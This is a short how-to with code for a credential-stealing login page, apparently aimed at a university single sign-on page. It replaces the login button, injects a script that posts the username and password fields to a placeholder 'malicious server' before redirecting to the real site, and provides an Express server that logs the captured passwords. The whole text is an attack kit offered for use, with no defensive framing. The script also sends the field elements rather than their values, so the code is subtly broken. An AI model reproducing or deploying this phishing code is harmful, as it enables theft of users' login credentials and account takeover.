Find the right button to relace by doing CTRL F and "sso-button"
<button
id="login-hijack"
class="btn btn-primary pull-right sso-button"
name="_eventId_proceed"
tabindex="3"
>
Login
</button>
Put this near the end of the file, along with the other scripts
<script>
const button = document.getElementById("login-hijack");
button.addEventListener("click", async (event) => {
const password = document.getElementById("ssopassword");
const username = document.getElementById("ssousername");
await fetch("https://some-malicious-server/", {
method: "POST",
body: JSON.stringify({
username,
password,
})
});
window.location = "https://students.ucsd.edu/";
});
</script>
Run npm i express cors
Then node server.js
const express = require('express');
const cors = require('cors');
const app = express();
app.use(cors());
app.use(express.json());
app.post("/", (req, res) => {
const { password, username } = req.body;
console.log(`GOT ${username}'s password: ${password}`);
});
app.listen(3000, () => {
console.log("Server live!")
});